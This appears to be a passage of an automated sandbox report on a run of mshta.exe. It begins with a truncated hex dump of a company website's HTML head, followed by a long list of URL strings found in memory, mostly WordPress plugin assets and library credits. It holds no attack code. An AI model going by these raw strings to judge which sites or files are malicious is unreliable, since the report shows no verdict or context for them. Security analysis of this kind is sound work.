46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7

Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000002.709479527.0000000007518000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.580310603.0000000007515000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.580441540.0000000007517000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <div class="owl-video-frame" />//www.youtube.com/embed/. equals www.youtube.com (Youtube)
Source: mshta.exe, 0000000A.00000003.576489756.0000000007455000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576765274.000000000745A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576644545.0000000007459000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576160779.0000000007452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.709268323.000000000745B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: jPlayerPlaylist.prototype.setPlaylistjPlayerPlaylist.prototype._highlightjPlayerPlaylist.prototype._refreshjPlayerPlaylist.prototype._initPlaylist//www.youtube.com/embed/%id%?autoplay=1jPlayerPlaylist.prototype.options() equals www.youtube.com (Youtube)

Source: mshta.exe, 0000000A.00000003.562336575.000000000C0E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713813587.000000000C0EC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.dr	String found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: mshta.exe, 0000000A.00000003.562336575.000000000C0E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713813587.000000000C0EC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.554813627.000000000C0D1000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.10.dr	String found in binary or memory: http://brandonaaron.net)
Source: mshta.exe, 0000000A.00000002.705082305.0000000006956000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.557484334.0000000006956000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.dr	String found in binary or memory: http://code.google.com/p/swfobject/
Source: mshta.exe, 0000000A.00000003.474511247.00000000062C3000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	String found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: animate-logo[1].css.10.dr	String found in binary or memory: http://daneden.me/animate
Source: mshta.exe, 0000000A.00000002.705359508.00000000069FE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705282791.00000000069C3000.00000004.00000800.00020000.00000000.sdmp, jquery.magnific-popup.min[1].js.10.dr	String found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 0000000A.00000003.513518691.0000000006394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://en.wikipedia
Source: FC60D9F5-5198-4923-B69D-E0983E74270D.0.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: mshta.exe, 0000000A.00000003.575526069.0000000002C1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.b.com.b
Source: mshta.exe, 0000000A.00000002.713311396.000000000BFD5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.706067248.0000000006B48000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/
Source: mshta.exe, 0000000A.00000003.557221651.0000000006940000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705033082.0000000006943000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/a
Source: mshta.exe, 0000000A.00000003.557221651.0000000006940000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705033082.0000000006943000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/aR
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.209
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.204.9.201.2.8.1e
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516286879.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.707090329.0000000006EA0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20.
Source: mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.516286879.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20I
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0C:
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.09
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0C:
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0H
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0LMEM
Source: mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0http://fa
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0s
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000002.708801387.0000000007382000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.08
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0=2.3.0
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0LMEM
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0g
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0js
Source: mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ll.min.js?ver=
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 0000000A.00000002.713618312.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.563986629.000000000C08E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.565643619.000000000C09C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.68
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703971225.000000000627F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.576726074.0000000006270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6er=
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6g
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6s
Source: mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6y;
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 0000000A.00000002.705471929.0000000006A38000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.562456185.0000000006A38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1-;
Source: mshta.exe, 0000000A.00000003.564242339.000000000BFEF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713375495.000000000BFF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1pG
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.30
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3=
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3H
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3Nq
Source: mshta.exe, 0000000A.00000002.706603004.0000000006C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3sz
Source: mshta.exe, 0000000A.00000003.556020995.00000000068DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.704906949.00000000068E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3tiC:
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3)
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.32
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.34
Source: mshta.exe, 0000000A.00000002.701564259.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.560168645.0000000002C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3eC:
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3el
Source: mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Source: mshta.exe, 0000000A.00000003.561702783.000000000625F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.703896130.0000000006262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3Y
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3do
Source: mshta.exe, 0000000A.00000002.703464622.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3pq
Source: mshta.exe, 0000000A.00000003.575709441.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701319179.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3s
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Source: mshta.exe, 0000000A.00000002.713432041.000000000C01A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.564451966.000000000C01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngUw
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngh
Source: mshta.exe, 0000000A.00000002.700929963.0000000002BD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.574093022.0000000002BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngs?ver=1.0=1.0
Source: mshta.exe, 0000000A.00000003.559951486.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.701472080.0000000002C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngz
